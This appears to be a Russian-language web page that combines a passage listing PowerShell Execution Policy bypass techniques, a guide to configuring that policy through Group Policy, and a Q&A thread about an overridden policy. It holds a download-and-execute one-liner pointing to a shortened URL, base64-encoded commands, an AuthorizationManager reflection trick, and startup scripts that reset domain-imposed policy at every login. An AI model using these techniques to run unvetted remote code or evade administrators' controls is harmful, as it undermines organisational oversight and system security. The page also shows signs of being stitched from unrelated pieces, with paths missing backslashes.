Paste the Script into an Interactive PS Console

2. Отправка сценария в PowerShell через Echo

Просто добавьте ваш сценарий (ECHO) в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

Echo the Script and Pipe it to PS Standard In

3. Считывание скрипта из файла и отправка в стандартный ввод PowerShell

Используйте команду «type» для Windows или PowerShell «Get-Content», чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на локальный диск.

Пример 1: команда Get-Content PowerShell

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Read PS Script from a File and Pipe to Standard In

Пример 2: команда Type

TYPE .runme.ps1 | PowerShell.exe -noprofile -

Read Script from a File with TYPE and Pipe to PS

4. Скачивание скрипта из URL и выполнение с выражением Invoke

Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

Download Script from URL and Execute with Invoke Expression

5. Использование опции -Command

Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это можно сделать без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Use the Command Switch

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей), чтобы помочь во время повышения привилегий.

6. Использование опции -EncodedCommand

Это очень похоже на предыдущую опцию «-Command», но все сценарии предоставляются в виде строки в кодировке Unicode/base64. Такое кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя приятный небольшой метод сжатия, позволяющий уменьшить размер закодированных команд, если они становятся слишком длинными.

Пример 1: Полная команда

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Use the EncodeCommand Switch

Пример 2: Короткая команда с использованием закодированной строки

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7. Использование команды Invoke-Command

Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью опции «-Command». Но интересно то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Invoke-Command -scriptblock {Write-Host "My voice is my passport, verify me."}

Use the Invoke-Command Command

Приведенная ниже команда также может быть использована для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.

Invoke-Command -computername Server01 -scriptblock {get-executionpolicy} | Set-executionpolicy -force
8. Использование команды Invoke-Expression

Это еще один способ, который обычно выполняется через интерактивную консоль PowerShell или однострочник с помощью опции «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования выражения-выражения для обхода политики выполнения.

Пример 1: Полная команда с использованием Get-Content

Get-Content .runme.ps1 | Invoke-Expression

Use the Invoke-Expression Command

Пример 2: Короткая команда с использованием Get-Content

GC .runme.ps1 | iex
9. Использование флага политики выполнения «Bypass»

Это хороший флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

Use the Bypass Execution Policy Flag

10. Использование флага политики выполнения «Unrestricted»

Это похоже на флаг «Bypass». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

Use the Unrestricted Execution Policy Flag

11. Использование флага политики выполнения «Remote-Signed»

Создайте сценарий и следуйте инструкциям, написанным Карлосом Пересом, чтобы подписать его. Наконец, запустите его, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. Отключение ExecutionPolicy с заменой AuthorizationManager

Это действительно творческий способ, с которым я столкнулся на nivot.org. Приведенную ниже функцию можно выполнить через интерактивную консоль PowerShell или с помощью опции «-Command». Как только функция вызывается, она заменяет «AuthorizationManager» на Null. В результате политика выполнения, по существу, устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy  
.runme.ps1

Disable ExecutionPolicy by Swapping out the AuthorizationManager

13. Установка ExcutionPolicy для области действия Process

Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

Set the ExcutionPolicy for the Process Scope

14. Установка ExcutionPolicy для области действия CurrentUser с помощью команды

Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Set the ExcutionPolicy for the CurrentUser Scope via Command

15. Установка ExcutionPolicy для области CurrentUser через реестр

В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

Set the ExcutionPolicy for the CurrentUser Scope via the Registry

Подведение итогов

Ключевым моментом этой стати является то, что политика выполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не позиционировала этот механизм для контроля безопасности. Именно поэтому существует такое множество вариантов обхода данного механизма. Помимо того, что сама Microsoft предоставила некоторые нативные варианты, сообщество безопасности также придумало некоторые оригинальные трюки. Спасибо всем тем людям, которые внесли в это свой вклад через блоги и презентации.

По-умолчанию настройки Windows запрещают запуск скриптов PowerShell. Это необходимо для предотвращения запуска вредоносного кода на PowerShell. Настройки политик запуска PowerShell скриптов определяются в Execution Policy. В этой статье мы рассмотрим доступные политики запуска PS скриптов, как изменить Execution Policy и настроить политики использования PowerShell скриптов на компьютерах в домене.

Содержание:

  • Выполнение PowerShell скриптов запрещено для данной системы
  • Как разрешить запуск скриптов PowerShell с помощью Execution Policy?
  • Настройка PowerShell Execution Policy с помощью групповых политик
  • Способы обхода политики PowerShell Execution

Выполнение PowerShell скриптов запрещено для данной системы

При попытке выполнить PowerShell скрипт (файл с расширением PS1) на чистой Windows 10, появляется ошибка:

File C:ps.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Не удается загрузить файл.ps1, так как выполнение скриптов запрещено для данной системы.

Не удается загрузить файл ps1, так как выполнение скриптов запрещено для данной системы.

Текущее значение политики выполнения скриптов PowerShell на компьютере можно получить командой:

Get-ExecutionPolicy

Get-ExecutionPolicy

Доступны следующие значения PowerShell Execution Policy:

  • Restricted – запрещен запуск скриптов PowerShell, можно выполнять только интерактивные команды в консоли;
  • AllSigned – разрешено выполнять только подписанные PS скрипты с цифровой подписью от доверенного издателя (можно подписать скрипт самоподписанным сертификатом и добавить его в доверенные). При запуске недоверенных скриптов появляется предупреждение:
    Do you want to run software from this untrusted publisher? File .ps1 is published by CN=test1 and is not trusted on your system. Only run scripts from trusted publishers

    вы хотите запустить powershell скрипт от недоверенного издателя?

  • RemoteSigned – можно запускать локальные PowerShell скрипты без ограничения. Можно запускать удаленные PS файлы с цифровой подписью (нельзя запустить PS1 файлы, скачанные из Интернета, запущенные из сетевой папки по UNC пути и т.д.);
  • Unrestricted – разрешен запуск всех PowerShell скриптов;

    При запуске сторонних PowerShell скриптов может появляется предупреждение с подтверждением запуска, см. ниже.

  • Bypass – разрешён запуск любых PS файлов (предупреждения не выводятся) – эта политика обычно используется для автоматического запуска PS скриптов без вывода каких-либо уведомлений (например при запуске через GPO, SCCM, планировщик и т.д.) и не рекомендуется для постоянного использования;
  • Default – сброс настроек выполнения скриптов на стандартную;

    В Windows 10 значение политики выполнения PowerShell по-умолчанию Restricted, а в Windows Server 2016 — RemoteSigned.

  • Undefined – не задано. Применяется политика Restricted для десктопных ОС и RemoteSigned для серверных.

Как разрешить запуск скриптов PowerShell с помощью Execution Policy?

Чтобы изменить текущее значение политики запуска PowerShell скриптов, используется командлет Set-ExecutionPolicy.

Например, разрешим запуск локальных скриптов:

Set-ExecutionPolicy RemoteSigned

Подтвердите изменение политики запуска PS1 скриптов, нажав Y или A.

Set-ExecutionPolicy RemoteSigned разрешить запуск локальных powershell скриптов

Чтобы запрос не появлялся, можно использовать параметр Force.

Set-ExecutionPolicy RemoteSigned –Force

Если вы установили значение политики PowerShell Execution Policy в Unrestricted, то при запуске удаленных скриптов из сетевых каталогов по UNC пути, скачанных из интернета файлов, все равно будет появляться предупреждение:

Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the
Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D")

Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the Unblock-File cmdlet to allow the script to run without this warning message

Как PowerShell различает локальные и удаленные скрипты? Все дело в идентификаторе зоны ZoneId, которую выставляет браузер в альтернативном потоке при загрузке файла (см. статью “Как Windows определяет, что файл скачан из Интернета?”). Вы можете разблокировать такой файл, поставив галку “Разблокирвать” в его свойствах или очиститься метку зоны с помощью комадлета Unblock-File.

Также следует различать различные области действия политик выполнения скриптов PowerShell (scopes):

  • MachinePolicy – действует для всех пользователей компьютера, настраивается через GPO;
  • UserPolicy – действует на пользователей компьютера, также настраивается через GPO;
  • Process — настройки ExecutionPolicy действует только для текущего сеанса PowerShell.exe (сбрасываются при закрытии процесса);
  • CurrentUser – политика ExecutionPolicy применяется только к текущему пользователю (параметр из ветки реестра HKEY_CURRENT_USER);
  • LocalMachine – политика для всех пользователей компьютера (параметр из ветки реестра HKEY_LOCAL_MACHINE);

Область применения политики можно указать с помощью параметр Scope командлета Set-ExecutionPolicy. Например:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass –Force

Проверим текущие настройки ExecutionPolicy для всех областей:

Get-ExecutionPolicy -List

Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass
CurrentUser Undefined
LocalMachine RemoteSigned

Get-ExecutionPolicy scopes области действия

Значение политики выполнения, которые вы задаете с помощью командлета Set-ExecutionPolicy для областей CurrentUser и LocalMachine, хранятся в реестре. Например, выполните командлет:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted –Force

Откройте ветку реестра HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell и проверьте значение REG_SZ параметра ExecutionPolicy. Оно изменилось на Restricted (допустимые значения параметра Restricted, AllSigned, RemoteSigned, Bypass, Unrestricted и Undefined).

ExecutionPolicy в реестре

Аналогичные настройки для области CurrentUser находятся в разделе реестра пользователя HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

Отметим, что чаще всего в корпоративной среде используется ExecutionPolicy со значением AllSigned на уровне LocalMachine. Это обеспечивает максимальный баланс между безопасностью и удобством. Для личного пользования на компьютере можно использовать RemoteSigned. Ну а Bypass политику лучше использовать только для запуска отдельных задач (например для запуска скриптов через GPO или заданий планировщика).

Настройка PowerShell Execution Policy с помощью групповых политик

Вы можете настроить политику выполнения PowerShel скриптов на серверах или компьютерах домена с помощью групповых политик.

  1. С помощью редактора доменных GPO (gpmc.msc) создайте новую GPO (или отредактируйте) существующую и назначьте ее на OU с компьютерами, к которым нужно применить политику запуска PowerShell скриптов;
  2. В редакторе политики перейдите в раздел Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell и найдите политику Turn on Script Execution (Включить выполнение сценариев);

    Аналогичная политика есть в пользовательском разделе GPO — User Configuration, но политика компьютера имеет приоритет.

  3. Для политики доступны три значения:
    • Allow only signed scripts (Разрешать только подписанные сценарии) — соответствует политике AllSigned;
    • Allow local scripts and remote signed scripts (Разрешать локальные и удаленные подписанные сценарии) — соответствует политике PS RemoteSigned;
    • Allow all scripts (Разрешать все сценарии) — политика Unrestricted. групповая политика Turn on Script Execution
  4. Выберите необходимое значение политики, сохраните GPO и обновите политики на компьютере.
  5. Проверьте, что для области MachinePolicy теперь действуют новые настройки выполнения. политка executionpolicy настроена через ПЗЩ

После настройки политики выполнения через GPO вы не сможете изменить настройки политики выполнения скриптов вручную. При попытке изменить настройки Execution Policy на компьютере, на который применяется такая GPO, появится ошибка:

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings.

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope

Способы обхода политики PowerShell Execution

Есть несколько трюков, которые могут помочь вам, когда нужно запустить на компьютере PowerShell скрипт, не изменяя настройки политики выполнения. Например, я хочу запустить простой PS1 скрипт, который поверяет, что запущен с правами администратора.

Можно с помощью Get-Content получить содержимое скрипта и перенаправить его в стандартныq поток ввода консоли PS.

Get-Content c:pscheck_process_elevation.ps1 | PowerShell.exe -noprofile –

Либо можно запустить новый процесс powershell.exe с политикой выполнения Bypass:

powershell.exe -noprofile -executionpolicy bypass -file c:pscheck_process_elevation.ps1

обход действия powershell execution политики

у меня проблема с изменением Выполнение Политики в моей ОС Windows Server 2008+. Это первый раз, когда я пытаюсь запустить скрипт, для которого мне нужен полный доступ к ресурсу, и я пробую следующее после запуска Powershell на повышенный режим:

Set-ExecutionPolicy Unrestricted

но я понимаю это:

Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. For more information please see
"Get-Help Set-ExecutionPolicy".
At line:1 char:1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
    + FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

хотя я администратор, я не могу изменить политику выполнения. Что делать?

6 ответов


сообщение об ошибке указывает, что параметр, который вы пытаетесь определить через Set-ExecutionPolicy переопределяется параметром в другой области. Использовать Get-ExecutionPolicy -List чтобы увидеть, какие области, какие условия.

PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process          Undefined
  CurrentUser          Undefined
 LocalMachine       RemoteSigned

PS C:> Set-ExecutionPolicy Restricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process         Restricted
  CurrentUser       Unrestricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
.test.ps1 : File C:test.ps1 cannot be loaded because running scripts is
disabled on this system. ...
PS C:> Set-ExecutionPolicy Unestricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Restricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process       Unrestricted
  CurrentUser         Restricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
Hello World!

как вы можете видеть, оба параметра были определены, несмотря на ошибку, но параметр в более конкретной области (Process) по-прежнему имеет приоритет, предотвращая или разрешая выполнение скрипта.

так как область по умолчанию LocalMachine ошибка может быть вызвана параметр CurrentUser или Process объем. Однако более распространенной причиной является то, что выполнение сценария было настроено с помощью групповой политики (локальной или доменной).

локальная групповая политика может быть изменена локальным администратором через gpedit.msc (Редактор локальной групповой политики), как описано в ответ.

групповая политика домена не может быть заменена локальными настройками / политиками и должна быть изменена администратором домена через gpmc.msc (управление групповой политикой) на контроллер домена.

для локальных и доменных политик параметр можно определить как параметр компьютера:

Computer Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

или как пользовательская настройка:

User Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

первые применяются к объектам компьютера, тогда как последние применяются к объектам пользователя. Для локальных политик нет существенной разницы между пользовательскими и компьютерными политиками, поскольку пользовательские политики автоматически применяются ко всем пользователям на компьютере.

политика может иметь одно из трех состояний (или пять состояний, если вы считаете 3 настройки, доступные для состояния включено отдельно):

  • Не Настроен политика не контролирует выполнение скрипта PowerShell.
  • включено: разрешить выполнение скриптов PowerShell.

    • разрешить только подписанные скрипты: разрешить выполнение только подписанных скриптов (так же, как Set-ExecutionPolicy AllSigned).
    • разрешить локальные скрипты и удаленные подписанные скрипты: разрешить выполнение всех локальных скриптов (подписанных или нет) и подписанных скриптов из удаленных мест (так же, как Set-ExecutionPolicy RemoteSigned).
    • разрешить все скрипты: разрешить выполнение локальных и удаленных скриптов независимо от того, подписаны они или нет (так же, как Set-ExecutionPolicy Unrestricted).
  • отключен: запретить выполнение сценария PowerShell (так же, как Set-ExecutionPolicy Restricted).

изменения, внесенные через Set-ExecutionPolicy вступает в силу, только если локальная и доменная политики установлены в Не Настроен (выполнение политики Undefined в области MachinePolicy и UserPolicy).

25

автор: Ansgar Wiechers


проблема в том, что Windows не позволяет выполнять все скрипты в Unrestricted режим. На самом деле, независимо от политики выполнения для вашего пользователя (даже если администратор),Local Group Policy будет иметь приоритет.

и по умолчанию политика выполнения сценария локальной группы является такой, для которой сценарии не разрешены к выполнению. Мы должны это изменить!

изменение политики выполнения локальной группы

мы делаем это с помощью Local Group Policy Editor куда можно добраться по поиск в строке поиска Windows для «групповой политики». Или сделайте так:

  1. Откройте консоль управления нажатием Win + r и введите команду mmc.
  2. на File -> Add Remove Snap In....
  3. в левой панели найдите Group Policy Object Editor и добавить его.
  4. закрыть форму.

затем на левой панели можно развернуть редактор групп. Разверните его и перейдите к Computer Configuration -> Administrative Templates -> Windows Components.

enter image description here

затем Windows PowerShell.

enter image description here

выберите Turn on Script Execution. Измените конфигурацию на Enabled и указать Allow all scripts на Execution Policy.

enter image description here

подтвердите нажатием Ok и закройте консоль управления.



Если вы недавно столкнулись с этим в visual studio 2015, проверьте, есть ли какие-либо обновления для диспетчера пакетов nuget в tools > extensions and updates>


Если PowerShell ExecutionPolicy устанавливается контроллером домена с помощью групповой политики, вам придется сбросить ExecutionPolicy на «обход» в реестре после каждой загрузки. Я создал пару сценариев запуска для автоматизации процесса. Ниже я описываю свой процесс.

создайте папку с именем %USERPROFILE%DocumentsStartupScripts, а затем поместите сценарий PowerShell под названием ExecutionPolicy.ps1 в нем со следующим кодом:

Push-Location
Set-Location HKLM:SoftwarePoliciesMicrosoftWindowsPowerShell
Set-ItemProperty . ExecutionPolicy "Bypass"
Pop-Location

затем создать файл с именем %USERPROFILE%AppDataRoamingMicrosoftWindowsМеню ПускПрограммызапускзапуск.cmd и поместите в него следующий код:

PowerShell -Version 3.0 -Command "Set-ExecutionPolicy Unrestricted" >> "%TEMP%StartupLog.txt" 2>&1
PowerShell -Version 3.0 "%USERPROFILE%DocumentsStartupScriptsExecutionPolicy.ps1" >> "%TEMP%StartupLog.txt" 2>&1

этот скрипт будет работать в начале каждого входа в систему.


создайте следующее ps.cmd и поместите его на свой путь:

POWERSHELL -Command "$enccmd=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content '%1' | Out-String)));POWERSHELL -EncodedCommand $enccmd"

Теперь вы можете запустить любой сценарий powershell, как в:

psa mypowershell.ps1

Понравилась статья? Поделить с друзьями:
  • Оболочка windows 11 для windows 10 pro лицензионный
  • Оболочка windows 10 для windows 7 скачать торрент
  • Оболочка realtek sound manager windows 10
  • Обойти учетную запись майкрософт windows 10
  • Обойти создание учетной записи при установке windows 10